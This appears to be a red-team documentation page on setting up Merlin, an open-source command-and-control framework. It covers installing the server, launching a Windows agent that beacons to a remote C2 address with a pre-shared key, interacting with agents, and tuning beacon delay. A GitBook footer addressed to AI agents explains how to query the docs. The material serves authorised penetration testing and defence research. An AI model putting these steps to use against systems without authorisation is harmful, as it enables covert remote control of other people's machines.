> For the complete documentation index, see [llms.txt](https://howto.thec2matrix.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://howto.thec2matrix.com/c2/merlin.md).

# Merlin

## Install Merlin

```
apt install golang
mkdir /opt/merlin
cd /opt/merlin
wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinServer-Linux-x64-v0.8.0.BETA.7z
7z x merlinServer-Linux-x64-v0.8.0.BETA.7z
```

## Run Merlin

```bash
cd /opt/merlin
sudo ./merlinServer-Linux-x64 -i <IP> -psk <key>
```

### Agent Deployment

Download agent from releases: <https://github.com/Ne0nd0g/merlin/releases>

```bash
merlinAgent-Windows-x64.exe -url https://10.0.0.194:443 -psk test
```

![](/files/-M4P9f1OsrHr5MexHlla)

### Interact with Agent

```bash
interact <Agent ID>
```

Visit wiki for additional information on interacting with an agent: <https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Agent-Menu>

#### Test beacon delay

set sleep 10s

set skew 5


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://howto.thec2matrix.com/c2/merlin.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
